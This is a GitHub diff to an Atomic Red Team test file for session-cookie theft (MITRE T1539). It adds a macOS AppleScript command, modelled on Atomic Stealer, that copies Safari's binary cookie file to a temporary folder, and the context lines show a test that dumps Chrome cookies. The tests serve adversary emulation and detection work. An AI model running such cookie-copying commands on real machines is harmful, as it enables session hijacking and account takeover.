You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: atomics/T1539/T1539.yaml
+18-1
Original file line number
Diff line number
Diff line change
@@ -158,4 +158,21 @@ atomic_tests:
158
158
Write-Host $cookies
159
159
Stop-Process $chromeProcess -Force
160
160
name: powershell
161
-
elevation_required: false
161
+
elevation_required: false
162
+
163
+
- name: Copy Safari BinaryCookies files using AppleScript
164
+
description: |
165
+
This command will copy Safari BinaryCookies files using AppleScript as seen in Atomic Stealer.
166
+
supported_platforms:
167
+
- macos
168
+
input_arguments:
169
+
destination_path:
170
+
description: Specify the path to copy the BinaryCookies file into.
171
+
type: path
172
+
default: /private/tmp
173
+
executor:
174
+
command: |-
175
+
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")' -e 'duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'
0 commit comments